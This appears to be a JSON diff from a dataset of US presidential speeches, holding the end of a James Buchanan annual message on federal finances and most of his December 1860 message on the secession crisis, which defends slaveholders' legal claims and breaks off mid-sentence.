to\npay the interest on the public debt, leaving the sum of $63,328,307.45 for\nthe estimated ordinary expenditures during the fiscal year ending 30th\nJune, 1861. Upon these estimates a balance will be left in the Treasury on\nthe 30th June, 1861, of $13,891,879.61. But this balance, as well as that\nestimated to remain in the Treasury on the 1st July, 1860, will be reduced\nby such appropriations as shall be made by law to carry into effect certain\nIndian treaties during the present fiscal year, asked for by the Secretary\nof the Interior, to the amount of $539,350; and upon the estimates of the\npostmaster-General for the service of his Department the last fiscal year,\nending 30th June, 1859, amounting to $4,296,009, together with the further\nestimate of that officer for the service of the present fiscal year, ending\n30th June, 1860, being $5,526,324, making an aggregate of $10,361,683.Should these appropriations be made as requested by the proper Departments,\nthe balance in the Treasury on the 30th June, 1861, will not, it is\nestimated, exceed $3,530,196.61.I transmit herewith the reports of the Secretaries of War, of the Navy, of\nthe Interior, and of the postmaster-General. They each contain valuable\ninformation and important recommendations well worthy of the serious\nconsideration of Congress. It will appear from the report of the Secretary\nof War that the Army expenditures have been materially reduced by a system\nof rigid economy, which in his opinion offers every guaranty that the\nreduction will be permanent. The estimates of the Department for the next\nhave been reduced nearly $2,000,000 below the estimates for the present\nfiscal year and $500,000 below the amount granted for this year at the last\nsession of Congress.The expenditures of the Post-Office Department during the past fiscal year,\nending on the 30th June, 1859, exclusive of payments for mail service\nspecially provided for by Congress out of the general Treasury, amounted to\n$14,964,493.33 and its receipts to $7,968,484.07, showing a deficiency to\nbe supplied from the Treasury of $6,996,009.26, against $5,235,677.15 for\nthe year ending 30th June, 1858. The increased cost of transportation,\ngrowing out of the expansion of the service required by Congress, explains\nthis rapid augmentation of the expenditures. It is gratifying, however, to\nobserve an increase of receipts for the year ending on the 30th of June,\n1859, equal to $481,691.21 compared with those in the year ending on the\n30th June, 1858.It is estimated that the deficiency for the current fiscal year will be\n$5,988,424.04, but that for the year ending 30th June, 1861, it will not\nexceed $1,342,473.90 should Congress adopt the measures of reform proposed\nand urged by the Postmaster-General. Since the month of March retrenchments\nhave been made in the expenditures amounting to $1,826,471 annually, which,\nhowever, did not take effect until after the commencement of the present\nfiscal year. The period seems to have arrived for determining the question\nwhether this Department shall become a permanent and ever-increasing charge\nupon the Treasury, or shall be permitted to resume the self-sustaining\npolicy which had so long controlled its administration. The course of\nlegislation recommended by the Postmaster-General for the relief of the\nDepartment from its present embarrassments and for restoring it to its\noriginal independence is deserving of your early and earnest\nconsideration.In conclusion I would again commend to the just liberality of Congress the\nlocal interests of the District of Columbia. Surely the city bearing the\nname of Washington, and destined, I trust, for ages to be the capital of\nour united, free, and prosperous Confederacy, has strong claims on our\nfavorable regard.", 
+    "name": "James Buchanan"
+}
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+{
+    "date": "December 3, 1860", 
+    "speech": "Fellow-Citizens of the Senate and House of Representatives:Throughout the year since our last meeting the country has been eminently\nprosperous in all its material interests. The general health has been\nexcellent, our harvests have been abundant, and plenty smiles throughout\nthe laud. Our commerce and manufactures have been prosecuted with energy\nand industry, and have yielded fair and ample returns. In short, no nation\nin the tide of time has ever presented a spectacle of greater material\nprosperity than we have done until within a very recent period.Why is it, then, that discontent now so extensively prevails, and the Union\nof the States, which is the source of all these blessings, is threatened\nwith destruction?The long-continued and intemperate interference of the Northern people with\nthe question of slavery in the Southern States has at length produced its\nnatural effects. The different sections of the Union are now arrayed\nagainst each other, and the time has arrived, so much dreaded by the Father\nof his Country, when hostile geographical parties have been formed.I have long foreseen and often forewarned my countrymen of the now\nimpending danger. This does not proceed solely from the claim on the part\nof Congress or the Territorial legislatures to exclude slavery from the\nTerritories, nor from the efforts of different States to defeat the\nexecution of the fugitive-slave law. All or any of these evils might have\nbeen endured by the South without danger to the Union (as others have been)\nin the hope that time and reflection might apply the remedy. The immediate\nperil arises not so much from these causes as from the fact that the\nincessant and violent agitation of the slavery question throughout the\nNorth for the last quarter of a century has at length produced its malign\ninfluence on the slaves and inspired them with vague notions of freedom.\nHence a sense of security no longer exists around the family altar. This\nfeeling of peace at home has given place to apprehensions of servile\ninsurrections. Many a matron throughout the South retires at night in dread\nof what may befall herself and children before the morning. Should this\napprehension of domestic danger, whether real or imaginary, extend and\nintensify itself until it shall pervade the masses of the Southern people,\nthen disunion will become inevitable. Self-preservation is the first law of\nnature, and has been implanted in the heart of man by his Creator for the\nwisest purpose; and no political union, however fraught with blessings and\nbenefits in all other respects, can long continue if the necessary\nconsequence be to render the homes and the firesides of nearly half the\nparties to it habitually and hopelessly insecure. Sooner or later the bonds\nof such a union must be severed. It is my conviction that this fatal period\nhas not yet arrived, and my prayer to God is that He would preserve the\nConstitution and the Union throughout all generations.But let us take warning in time and remove the cause of danger. It can not\nbe denied that for five and twenty years the agitation at the North against\nslavery has been incessant. In 1835 pictorial handbills and inflammatory\nappeals were circulated extensively throughout the South of a character to\nexcite the passions of the slaves, and, in the language of General Jackson,\n\"to stimulate them to insurrection and produce all the horrors of a servile\nwar.\" This agitation has ever since been continued by the public press, by\nthe proceedings of State and county conventions and by abolition sermons\nand lectures. The time of Congress has been occupied in violent speeches on\nthis never-ending subject, and appeals, in pamphlet and other forms,\nindorsed by distinguished names, have been sent forth from this central\npoint and spread broadcast over the Union.How easy would it be for the American people to settle the slavery question\nforever and to restore peace and harmony to this distracted country! They,\nand they alone, can do it. All that is necessary to accomplish the object,\nand all for which the slave States have ever contended, is to be let alone\nand permitted to manage their domestic institutions in their own way. As\nsovereign States, they, and they alone, are responsible before God and the\nworld for the slavery existing among them. For this the people of the North\nare not more responsible and have no more fight to interfere than with\nsimilar institutions in Russia or in Brazil.Upon their good sense and patriotic forbearance I confess I still greatly\nrely. Without their aid it is beyond the power of any President, no matter\nwhat may be his own political proclivities, to restore peace and harmony\namong the States. Wisely limited and restrained as is his power under our\nConstitution and laws, he alone can accomplish but little for good or for\nevil on such a momentous question.And this brings me to observe that the election of any one of our\nfellow-citizens to the office of President does not of itself afford just\ncause for dissolving the Union. This is more especially true if his\nelection has been effected by a mere plurality, and not a majority of the\npeople, and has resulted from transient and temporary causes, which may\nprobably never again occur. In order to justify a resort to revolutionary\nresistance, the Federal Government must be guilty of \"a deliberate,\npalpable, and dangerous exercise\" of powers not granted by the\nConstitution.The late Presidential election, however, has been held in strict conformity\nwith its express provisions. How, then, can the result justify a revolution\nto destroy this very Constitution? Reason, justice, a regard for the\nConstitution, all require that we shall wait for some overt and dangerous\nact on the part of the President elect before resorting to such a remedy.\nIt is said, however, that the antecedents of the President-elect have been\nsufficient to justify the fears of the South that he will attempt to invade\ntheir constitutional rights. But are such apprehensions of contingent\ndanger in the future sufficient to justify the immediate destruction of the\nnoblest system of government ever devised by mortals? From the very nature\nof his office and its high responsibilities he must necessarily be\nconservative. The stern duty of administering the vast and complicated\nconcerns of this Government affords in itself a guaranty that he will not\nattempt any violation of a clear constitutional right.After all, he is no more than the chief executive officer of the\nGovernment. His province is not to make but to execute the laws. And it is\na remarkable fact in our history that, notwithstanding the repeated efforts\nof the antislavery party, no single act has ever passed Congress, unless we\nmay possibly except the Missouri compromise, impairing in the slightest\ndegree the rights of the South to their property in slaves; and it may also\nbe observed, judging from present indications, that no probability exists\nof the passage of such an act by a majority of both Houses, either in the\npresent or the next Congress. Surely under these circumstances we ought to\nbe restrained from present action by the precept of Him who spake as man\nnever spoke, that \"sufficient unto the day is the evil thereof.\" The day of\nevil may never come unless we shall rashly bring it upon ourselves.It is alleged as one cause for immediate secession that the Southern States\nare denied equal rights with the other States in the common Territories.\nBut by what authority are these denied? Not by Congress, which has never\npassed, and I believe never will pass, any act to exclude slavery from\nthese Territories; and certainly not by the Supreme Court, which has\nsolemnly decided that slaves are property, and, like all other property,\ntheir owners have a right to take them into the common Territories and hold\nthem there under the protection of the Constitution.So far then, as Congress is concerned, the objection is not to anything\nthey have already done, but to what they may do hereafter. It will surely\nbe admitted that this apprehension of future danger is no good reason for\nan immediate dissolution of the Union. It is true that the Territorial\nlegislature of Kansas, on the 23d February, 1860, passed in great haste an\nact over the veto of the governor declaring that slavery \"is and shall be\nforever prohibited in this Territory.\" Such an act, however, plainly\nviolating the rights of property secured by the Constitution, will surely\nbe declared void by the judiciary whenever it shall be presented in a legal\nform.Only three days after my inauguration the Supreme Court of the United\nStates solemnly adjudged that this power did not exist in a Territorial\nlegislature. Yet such has been the factious temper of the times that the\ncorrectness of this decision has been extensively impugned before the\npeople, and the question has given rise to angry political conflicts\nthroughout the country. Those who have appealed from this judgment of our\nhighest constitutional tribunal to popular assemblies would, if they could,\ninvest a Territorial legislature with power to annul the sacred rights of\nproperty. This power Congress is expressly forbidden by the Federal\nConstitution to exercise. Every State legislature in the Union is forbidden\nby its own constitution to exercise it. It can not be exercised in any\nState except by the people in their highest sovereign capacity, when\nframing or amending their State constitution. In like manner it can only be\nexercised by the people of a Territory represented in a convention of\ndelegates for the purpose of framing a constitution preparatory to\nadmission as a State into the Union. Then, and not until then, are they\ninvested with power to decide the question whether slavery shall or shall\nnot exist within their limits. This is an act of sovereign authority, and\nnot of subordinate Territorial legislation. Were it otherwise, then indeed\nwould the equality of the States in the Territories be destroyed, and the\nrights of property in slaves would depend not upon the guaranties of the\nConstitution, but upon the shifting majorities of an irresponsible\nTerritorial legislature. Such a doctrine, from its intrinsic unsoundness,\ncan not long influence any considerable portion of our people, much less\ncan it afford a good reason for a dissolution of the Union.The most palpable violations of constitutional duty which have yet been\ncommitted consist in the acts of different State legislatures to defeat the\nexecution of the fugitive-slave law. It ought to be remembered, however,\nthat for these acts neither Congress nor any President can justly be held\nresponsible. Having been passed in violation of the Federal Constitution,\nthey are therefore null and void. All the courts, both State and national,\nbefore whom the question has arisen have from the beginning declared the\nfugitive-slave law to be constitutional. The single exception is that of a\nState court in Wisconsin, and this has not only been reversed by the proper\nappellate tribunal, but has met with such universal reprobation that there\ncan be no danger from it as a precedent. The validity of this law has been\nestablished over and over again by the Supreme Court of the United States\nwith perfect unanimity. It is rounded upon an express provision of the\nConstitution, requiring that fugitive slaves who escape from service in one\nState to another shall be \"delivered up\" to their masters. Without this\nprovision it is a well-known historical fact that the Constitution itself\ncould never have been adopted by the Convention. In one form or other,\nunder the acts of 1793 and 1850, both being substantially the same, the\nfugitive-slave law has been the law of the land from the days of Washington\nuntil the present moment. Here, then, a clear case is presented in which it\nwill be the duty of the next President, as it has been my own, to act with\nvigor in executing this supreme law against the conflicting enactments of\nState legislatures. Should he fail in the performance of this high duty, he\nwill then have manifested a disregard of the Constitution and laws, to the\ngreat injury of the people of nearly one-half of the States of the Union.\nBut are we to presume in advance that he will thus violate his duty? This\nwould be at war with every principle of justice and of Christian charity.\nLet us wait for the overt act. The fugitive-slave law has been carried into\nexecution in every contested case since the commencement of the present\nAdministration, though Often, it is to be regretted, with great loss and\ninconvenience to the master and with considerable expense to the\nGovernment. Let us trust that the State legislatures will repeal their\nunconstitutional and obnoxious enactments. Unless this shall be done\nwithout unnecessary delay, it is impossible for any human power to save the\nUnion.The Southern States, standing on the basis of the Constitution, have right\nto demand this act of justice from the States of the North. Should it be\nrefused, then the Constitution, to which all the States are parties, will\nhave been willfully violated by one portion of them in a provision\nessential to the domestic security and happiness of the remainder. In that\nevent the injured States, after having first used all peaceful and\nconstitutional means to obtain redress, would be justified in revolutionary\nresistance to the Government of the Union.I have purposely confined my remarks to revolutionary resistance, because\nit has been claimed within the last few years that any State, whenever this\nshall be its sovereign will and pleasure, may secede from the Union in\naccordance with the Constitution and without any violation of the\nconstitutional rights of the other members of the Confederacy; that as each\nbecame parties to the Union by the vote of its own people assembled in\nconvention, so any one of them may retire from the Union in a similar\nmanner by the vote of such a convention.In order to justify secession as a constitutional remedy, it must be on the\nprinciple that the Federal Government is a mere voluntary association of\nStates, to be dissolved at pleasure by any one of the contracting parties.\nIf this be so, the Confederacy is a rope of sand, to be penetrated and\ndissolved by the first adverse wave of public opinion in any of the States.\nIn this manner our thirty-three States may resolve themselves into as many\npetty, jarring, and hostile republics, each one retiring from the Union\nwithout responsibility whenever any sudden excitement might impel them to\nsuch a course. By this process a Union might be entirely broken into\nfragments in a few weeks which cost our forefathers many years of toil,\nprivation, and blood to establish.Such a principle is wholly inconsistent with the history as well as the\ncharacter of the Federal Constitution. After it was framed with the\ngreatest deliberation and care it was submitted to conventions of the\npeople of the several States for ratification. Its provisions were\ndiscussed at length in these bodies, composed of the first men of the\ncountry. Its opponents contended that it conferred powers upon the Federal\nGovernment dangerous to the rights of the States, whilst its advocates\nmaintained that under a fair construction of the instrument there was no\nfoundation for such apprehensions. In that mighty struggle between the\nfirst intellects of this or any other country it never occurred to any\nindividual, either among its opponents or advocates, to assert or even to\nintimate that their efforts were all vain labor, because the moment that\nany State felt herself aggrieved she might secede from the Union. What a\ncrushing argument would this have proved against those who dreaded that the\nrights of the States would be endangered by the Constitution! The truth is\nthat it was not until many years after the origin of the Federal Government\nthat such a proposition was first advanced. It was then met and refuted by\nthe conclusive arguments of General Jackson, who in his message of the 16th\nof January, 1833, transmitting the nullifying ordinance of South Carolina\nto Congress, employs the following language:The right of the people of a single State to absolve themselves at will and\nwithout the consent of the other States from their most solemn obligations,\nand hazard the liberties and happiness of the millions composing this\nUnion, can not be acknowledged. Such authority is believed to be utterly\nrepugnant both to the principles upon which the General Government is\nconstituted and to the objects which it is expressly formed to attain.It is not pretended that any clause in the Constitution gives countenance\nto such a theory. It is altogether rounded upon inference; not from any\nlanguage contained in the instrument itself, but from the sovereign\ncharacter of the several States by which it was ratified. But is it beyond\nthe power of a State, like an individual, to yield a portion of its\nsovereign rights to secure the remainder? In the language of Mr. Madison,\nwho has been called the father of the Constitution--It was formed by the States; that is, by the people in each of the States\nacting in their highest sovereign capacity, and formed, consequently, by\nthe same authority which formed the State constitutions. Nor is the\nGovernment of the United States, created by the Constitution, less a\ngovernment, in the strict sense of the term, within the sphere of its\npowers than the governments created by the constitutions of the States are\nwithin their several spheres. It is, like them, organized into legislative,\nexecutive, and judiciary departments. It operates, like them directly on\npersons and things, and, like them, it has at command a physical force for\nexecuting the powers committed to it.It was intended to be perpetual, and not to be annulled at the pleasure of\nany one of the contracting parties. The old Articles of Confederation were\nentitled \"Articles of Confederation and Perpetual Union between the\nStates,\" and by the thirteenth article it is expressly declared that \"the\narticles of this Confederation shall be inviolably observed by every State,\nand the Union shall be perpetual.\" The preamble to the Constitution of the\nUnited States, having express reference to the Articles of Confederation,\nrecites that it was established \"in order to form a more perfect union.\"\nAnd yet it is contended that this \"more perfect union\" does not include the\nessential attribute of perpetuity.But that the Union was designed to be perpetual appears conclusively from\nthe nature and extent of the powers conferred by the Constitution on the\nFederal Government. These powers embrace the very highest attributes of\nnational sovereignty. They place both the sword and the purse under its\ncontrol. Congress has power to make war and to make peace, to raise and\nsupport armies and navies, and to conclude treaties with foreign\ngovernments. It is invested with the power to coin money and to regulate\nthe value thereof, and to regulate commerce with foreign nations and among\nthe several States. It is not necessary to enumerate the other high powers\nwhich have been conferred upon the Federal Government. In order to carry\nthe enumerated powers into effect, Congress possesses the exclusive right\nto lay and collect duties on imports, and, in common with the States, to\nlay and collect all other taxes.But the Constitution has not only conferred these high powers upon\nCongress, but it has adopted effectual means to restrain the States from\ninterfering with their exercise. For that purpose it has in strong\nprohibitory language expressly declared that--No State shall enter into any treaty, alliance, or confederation; grant\nletters of marque and reprisal; coin money; emit bills of credit; make\nanything but gold and silver coin a tender in payment of debts; pass any\nbill of attainder, ex post facto law, or law impairing the obligation of\ncontracts. Moreover--No State shall without the consent of the Congress lay any imposts or\nduties on imports or exports, except what may be absolutely necessary for\nexecuting its inspection laws.And if they exceed this amount the excess shall belong, to the United\nStates. And--No State shall without the consent of Congress lay any duty of tonnage,\nkeep troops or ships of war in time of peace, enter into any agreement or\ncompact with another State or with a foreign power, or engage in war,\nunless actually invaded or in such imminent danger as will not admit of\ndelay.In order still further to secure the uninterrupted exercise of these high\npowers against State interposition, it is provided that--This Constitution and the laws of the United States which shall be made in\npursuance thereof, and all treaties made or which shall be made under the\nauthority of the United States, shall be the supreme law of the land, and\nthe judges in every State shall be bound thereby, anything in the\nconstitution or laws of any State to the contrary notwithstanding.The solemn sanction of religion has been superadded to the obligations of\nofficial duty, and all Senators and Representatives of the United States,\nall members of State legislatures, and all executive and judicial officers,\n\"both of the United States and of the several States, shall be bound by\noath or affirmation to support this Constitution.\"In order to carry into effect these powers, the Constitution has\nestablished a perfect Government in all its forms--legislative, executive,\nand judicial; and this Government to the extent of its powers acts directly\nupon the individual citizens of every State, and executes its own decrees\nby the agency of its own officers. In this respect it differs entirely from\nthe Government under the old Confederation, which was confined to making\nrequisitions on the States in their sovereign character. This left it in\nthe discretion of each whether to obey or to refuse, and they often\ndeclined to comply with such requisitions. It thus became necessary for the\npurpose of removing this barrier and \"in order to form a more perfect\nunion\" to establish a Government which could act directly upon the people\nand execute its own laws without the intermediate agency of the States.\nThis has been accomplished by the Constitution of the United States. In\nshort, the Government created by the Constitution, and deriving its\nauthority from the sovereign people of each of the several States, has\nprecisely the same right to exercise its power over the people of all these\nStates in the enumerated cases that each one of them possesses over\nsubjects not delegated to the United States, but \"reserved to the States\nrespectively or to the people.\"To the extent of the delegated powers the Constitution of the United States\nis as much a part of the constitution of each State and is as binding upon\nits people as though it had been textually inserted therein.This Government, therefore, is a great and powerful Government, invested\nwith all the attributes of sovereignty over the special subjects to which\nits authority extends. Its framers never intended to implant in its bosom\nthe seeds of its own destruction, nor were they at its creation guilty of\nthe absurdity of providing for its own dissolution. It was not intended by\nits framers to be the baseless fabric of a vision, which at the touch of\nthe enchanter would vanish into thin air, but a substantial and mighty\nfabric, capable of resisting the slow decay of time and of defying the\nstorms of ages. Indeed, well may the jealous patriots of that day have\nindulged fears that a Government of such high powers might violate the\nreserved rights of the States, and wisely did they adopt the rule of a\nstrict construction of these powers to prevent the danger. But they did not\nfear, nor had they any reason to imagine, that the Constitution would ever\nbe so interpreted as to enable any State by her own act, and without the\nconsent of her sister States, to discharge her people from all or any of\ntheir federal obligations.It may be asked, then, Are the people of the States without redress against\nthe tyranny and oppression of the Federal Government? By no means. The\nright of resistance on the part of the governed against the oppression of\ntheir governments can not be denied. It exists independently of all\nconstitutions, and has been exercised at all periods of the world's\nhistory. Under it old governments have been destroyed and new ones have\ntaken their place. It is embodied in strong and express language in our own\nDeclaration of Independence. But the distinction must ever be observed that\nthis is revolution against an established government, and not a voluntary\nsecession from it by virtue of an inherent constitutional right. In short,\nlet us look the danger fairly in the face. Secession is neither more nor\nless than revolution. It may or it may not be a justifiable revolution, but\nstill it is revolution.What, in the meantime, is the responsibility and true position of the\nExecutive? He is bound by solemn oath, before God and the country, \"to take\ncare that the laws be faithfully executed,\" and from this obligation he can\nnot be absolved by any human power. But what if the performance of this\nduty, in whole or in part, has been rendered impracticable by events over\nwhich he could have exercised no control? Such at the present moment is the\ncase throughout the State of South Carolina so far as the laws of the\nUnited States to secure the administration of justice by means of the\nFederal judiciary are concerned. All the Federal officers within its limits\nthrough whose agency alone these laws can be carried into execution have\nalready resigned. We no longer have a district judge, a district attorney,\nor a marshal in South Carolina. In fact, the whole machinery of the Federal\nGovernment necessary for the distribution of remedial justice among the\npeople has been demolished, and it would be difficult, if not impossible,\nto replace it.The only acts of Congress on the statute book bearing upon this subject are\nthose of February 28, 1795, and March 3, 1807. These authorize the\nPresident, after he shall have ascertained that the marshal, with his posse\ncomitatus, is unable to execute civil or criminal process in any particular\ncase, to call forth the militia and employ the Army and Navy to aid him in\nperforming this service, having first by proclamation commanded the\ninsurgents \"to disperse and retire peaceably to their respective abodes\nwithin a limited time\" This duty can not by possibility be performed in a\nState where no judicial authority exists to issue process, and where there\nis no marshal to execute it, and where, even if there were such an officer,\nthe entire population would constitute one solid combination to resist\nhim.The bare enumeration of these provisions proves how inadequate they are\nwithout further legislation to overcome a united opposition in a single\nState, not to speak of other States who may place themselves in a similar\nattitude. Congress alone has power to decide whether the present laws can\nor can not be amended so as to carry out more effectually the objects of\nthe Constitution.The same insuperable obstacles do not lie in the way of executing the laws\nfor the collection of the customs. The revenue still continues to be\ncollected as heretofore at the custom-house in Charleston, and should the\ncollector unfortunately resign a successor may be appointed to perform this\nduty.Then, in regard to the property of the United States in South Carolina.\nThis has been purchased for a fair equivalent, \"by the consent of the\nlegislature of the State,\" \"for the erection of forts, magazines,\narsenals,\" etc., and over these the authority \"to exercise exclusive\nlegislation\" has been expressly granted by the Constitution to Congress. It\nis not believed that any attempt will be made to expel the United States\nfrom this property by force; but if in this I should prove to be mistaken,\nthe officer in command of the forts has received orders to act strictly on\nthe defensive. In such a contingency the responsibility for consequences\nwould rightfully rest upon the heads of the assailants.Apart from the execution of the laws, so far as this may be practicable,\nthe Executive has no authority to decide what shall be the relations\nbetween the Federal Government and South Carolina. He has been invested\nwith no such discretion. He possesses no power to change the relations\nheretofore existing between them, much less to acknowledge the independence\nof that State. This would be to invest a mere executive officer with the\npower of recognizing the dissolution of the confederacy among our\nthirty-three sovereign States. It bears no resemblance to the recognition\nof a foreign de facto government, involving no such responsibility. Any\nattempt to do this would, on his part, be a naked act of usurpation. It is\ntherefore my duty to submit to Congress the whole question in all its\nbeatings. The course of events is so rapidly hastening forward that the\nemergency may soon arise when you may be called upon to decide the\nmomentous question whether you possess the power by force of arms to compel\na State to remain in the Union. I should feel myself recreant to my duty\nwere I not to express an opinion on this important subject.The question fairly stated is, Has the Constitution delegated to Congress\nthe power to coerce a State into submission which is attempting to withdraw\nor has actually withdrawn from the Confederacy? If answered in the\naffirmative, it must be on the principle that the power has been conferred\nupon Congress to declare and to make war against a State. After much\nserious reflection I have arrived at the conclusion that no such power has\nbeen delegated to Congress or to any other department of the Federal\nGovernment. It is manifest upon an inspection of the Constitution that this\nis not among the specific and enumerated powers granted to Congress, and it\nis equally apparent that its exercise is not \"necessary and proper for\ncarrying into execution\" any one of these powers. So far from this power\nhaving been delegated to Congress, it was expressly refused by the\nConvention which framed the Constitution.It appears from the proceedings of that body that on the 31st May, 1787,\nthe clause \"authorizing an exertion of the force of the whole against a\ndelinquent State\" came up for consideration. Mr. Madison opposed it in a\nbrief but powerful speech, from which I shall extract but a single\nsentence. He observed:The use of force against a State would look more like a declaration of war\nthan an infliction of punishment, and would probably be considered by the\nparty attacked as a dissolution of all previous compacts by which it might\nbe bound.Upon his motion the clause was unanimously postponed, and was never, I\nbelieve, again presented. Soon afterwards, on the 8th June, 1787, when\nincidentally adverting to the subject, he said: \"Any government for the\nUnited States formed on the supposed practicability of using force against\nthe unconstitutional proceedings of the States would prove as visionary and\nfallacious as the government of Congress,\" evidently meaning the then\nexisting Congress of the old Confederation.Without descending to particulars, it may be safely asserted that the power\nto make war against a State is at variance with the whole spirit and intent\nof the Constitution. Suppose such a war should result in the conquest of a\nState; how are we to govern it afterwards? Shall we hold it as a province\nand govern it by despotic power? In the nature of things, we could not by\nphysical force control the will of the people and compel them to elect\nSenators and Representatives to Congress and to perform all the other\nduties depending upon their own volition and required from the free\ncitizens of a free State as a constituent member of the Confederacy.But if we possessed this power, would it be wise to exercise it under\nexisting circumstances? The object would doubtless be to preserve the\nUnion. War would not only present the most effectual means of destroying\nit, but would vanish all hope of its peaceable reconstruction. Besides, in\nthe fraternal conflict a vast amount of blood and treasure would be\nexpended, rendering future reconciliation between the States impossible. In\nthe meantime, who can foretell what would be the sufferings and privations\nof the people during its existence?The fact is that our Union rests upon public opinion, and can never be\ncemented by the blood of its citizens shed in civil war. If it can not live\nin the affections of the people, it must one day perish. Congress possesses\nmany means of preserving it by conciliation, but the sword was not placed\nin their hand to preserve it by force.But may I be permitted solemnly to invoke my countrymen to pause and\ndeliberate before they determine to destroy this the grandest temple which\nhas ever been dedicated to human freedom since the world began? It has been\nconsecrated by the blood of our fathers, by the glories of the past, and by\nthe hopes of the future. The Union has already made us the most prosperous,\nand ere long will, if preserved, render us the most powerful, nation on the\nface of the earth. In every foreign region of the globe the title of\nAmerican citizen is held in the highest respect, and when pronounced in a\nforeign land it causes the hearts of our countrymen to swell with honest\npride. Surely when we reach the brink of the yawning abyss we shall recoil\nwith horror from the last fatal plunge.By such a dread catastrophe the hopes of the friends of freedom throughout\nthe world would be destroyed, and a long night of leaden despotism would\nenshroud the nations. Our example for more than eighty years would not only\nbe lost, but it would be quoted as a conclusive proof that man is unfit for\nself-government.It is not every wrong--nay, it is not every grievous wrong--which can\njustify a resort to such a fearful alternative. This ought to be the last\ndesperate remedy of a despairing people, after every other constitutional\nmeans of conciliation had been exhausted. We should reflect that under this\nfree Government there is an incessant ebb and flow in public opinion. The\nslavery question, like everything human, will have its day. I firmly\nbelieve that it has reached and passed the culminating point. But if in the\nmidst of the existing excitement the Union shall perish, the evil may then\nbecome irreparable.Congress can contribute much to avert it by proposing and recommending to\nthe legislatures of the several States the remedy for existing evils which\nthe Constitution has itself provided for its own preservation. This has\nbeen tried at different critical periods of our history, and always with\neminent success. It is to be found in the fifth article, providing for its\nown amendment. Under this article amendments have been proposed by\ntwo-thirds of both Houses of Congress, and have been \"ratified by the\nlegislatures of three-fourths of the several States,\" and have consequently\nbecome parts of the Constitution. To this process the country is indebted\nfor the clause prohibiting Congress from passing any law respecting an\nestablishment of religion or abridging the freedom of speech or of the\npress or of the right of petition. To this we are also indebted for the\nbill of rights which secures the people against any abuse of power by the\nFederal Government. Such were the apprehensions justly entertained by the\nfriends of State rights at that period as to have rendered it extremely\ndoubtful whether the Constitution could have long survived without those\namendments.Again the Constitution was amended by the same process, after the election\nof President Jefferson by the House of Representatives, in February, 1803.\nThis amendment was rendered necessary to prevent a recurrence of the\ndangers which had seriously threatened the existence of the Government\nduring the pendency of that election. The article for its own amendment was\nintended to secure the amicable adjustment of conflicting constitutional\nquestions like the present which might arise between the governments of the\nStates and that of the United States. This appears from contemporaneous\nhistory. In this connection I shall merely call attention to a few\nsentences in Mr. Madison's justly celebrated report, in 1799, to the\nlegislature of Virginia. In this he ably and conclusively defended the\nresolutions of the preceding legislature against the strictures of several\nother State legislatures. These were mainly rounded upon the protest of the\nVirginia legislature against the \"alien and sedition acts,\" as \"palpable\nand alarming infractions of the Constitution.\" In pointing out the peaceful\nand constitutional remedies--and he referred to none other--to which the\nStates were authorized to resort on such occasions, he concludes by saying\nthat--The legislatures of the States might have made a direct representation to\nCongress with a view to obtain a rescinding of the two offensive acts, or\nthey might have represented to their respective Senators in Congress their\nwish that two-thirds thereof would propose an explanatory amendment to the\nConstitution; or two-thirds of themselves, if such had been their option,\nmight by an application to Congress have obtained a convention for the same\nobject.This is the very course which I earnestly recommend in order to obtain an\n\"explanatory amendment\" of the Constitution on the subject of slavery. This\nmight originate with Congress or the State legislatures, as may be deemed\nmost advisable to attain the object. The explanatory amendment might be\nconfined to the final settlement of the true construction of the\nConstitution on three special points:1. An express recognition of the right of property in slaves in the States\nwhere it now exists or may hereafter exist.2. The duty of protecting this right in all the common Territories\nthroughout their Territorial existence, and until they shall be admitted as\nStates into the Union, with or without slavery, as their constitutions may\nprescribe.3. A like recognition of the right of the master to have his slave who has\nescaped from one State to another restored and \"delivered up\" to him, and\nof the validity of the fugitive-slave law enacted for this purpose,\ntogether with a declaration that all State laws impairing or defeating this\nright are violations of the Constitution, and are consequently null and\nvoid. It may be objected that this construction of the Constitution has\nalready been settled by the Supreme Court of the United States, and what\nmore ought to be required? The answer is that a very large proportion of\nthe people of the United States still contest the correctness of this\ndecision, and never will cease from agitation and admit its binding force\nuntil clearly established by the people of the several States in their\nsovereign character. Such an explanatory amendment would, it is believed,\nforever terminate the existing dissensions, and restore peace and harmony\namong the States.It ought not to be doubted that such an appeal to the arbitrament\nestablished by the Constitution itself would be received with favor by all\nthe States of the Confederacy. In any event, it ought to be tried in a\nspirit of conciliation before any of these States shall separate themselves\nfrom the Union.When I entered upon the duties of the Presidential office, the aspect\nneither of our foreign nor domestic affairs was at all satisfactory. We\nwere involved in dangerous complications with several nations, and two of\nour Territories were in a state of revolution against the Government. A\nrestoration of the African slave trade had numerous and powerful advocates.\nUnlawful military expeditions were countenanced by many of our citizens,\nand were suffered, in defiance of the efforts of the Government, to escape\nfrom our shores for the purpose of making war upon the offending people of\nneighboring republics with whom we were at peace. In addition to these and\nother difficulties, we experienced a revulsion in monetary affairs soon\nafter my advent to power of unexampled severity and of ruinous consequences\nto all the great interests of the country. When we take a retrospect of\nwhat was then our condition and contrast this with its material prosperity\nat the time of the late Presidential election, we have abundant reason to\nreturn our grateful thanks to that merciful Providence which has never\nforsaken us as a nation in all our past trials.Our relations with Great Britain are of the most friendly character. Since\nthe commencement of my Administration the two dangerous questions arising\nfrom the Clayton and Bulwer treaty and from the right of search claimed by\nthe British Government have been amicably and honorably adjusted.The discordant constructions of the Clayton and Bulwer treaty between the\ntwo Governments, which at different periods of the discussion bore a\nthreatening aspect, have resulted in a final settlement entirely\nsatisfactory to this Government. In my last annual message I informed\nCongress that the British Government had not then \"completed treaty\narrangements with the Republics of Honduras and Nicaragua in pursuance of\nthe understanding between the two Governments. It is, nevertheless,\nconfidently expected that this good work will ere long be accomplished.\"\nThis confident expectation has since been fulfilled. Her Britannic Majesty\nconcluded a treaty with Honduras on the 28th November, 1859, and with\nNicaragua on the 28th August, 1860, relinquishing the Mosquito\nprotectorate. Besides, by the former the Bay Islands are recognized as a\npart of the Republic of Honduras. It may be observed that the stipulations\nof these treaties conform in every important particular to the amendments\nadopted by the Senate of the United States to the treaty concluded at\nLondon on the 17th October, 1856, between the two Governments. It will be\nrecollected that this treaty was rejected by the British Government because\nof its objection to the just and important amendment of the Senate to the\narticle relating to Ruatan and the other islands in the Bay of Honduras.It must be a source of sincere satisfaction to all classes of our\nfellow-citizens, and especially to those engaged in foreign commerce, that\nthe claim on the part of Great Britain forcibly to visit and search\nAmerican merchant vessels on the high seas in time of peace has been\nabandoned. This was by far the most dangerous question to the peace of the\ntwo countries which has existed since the War of 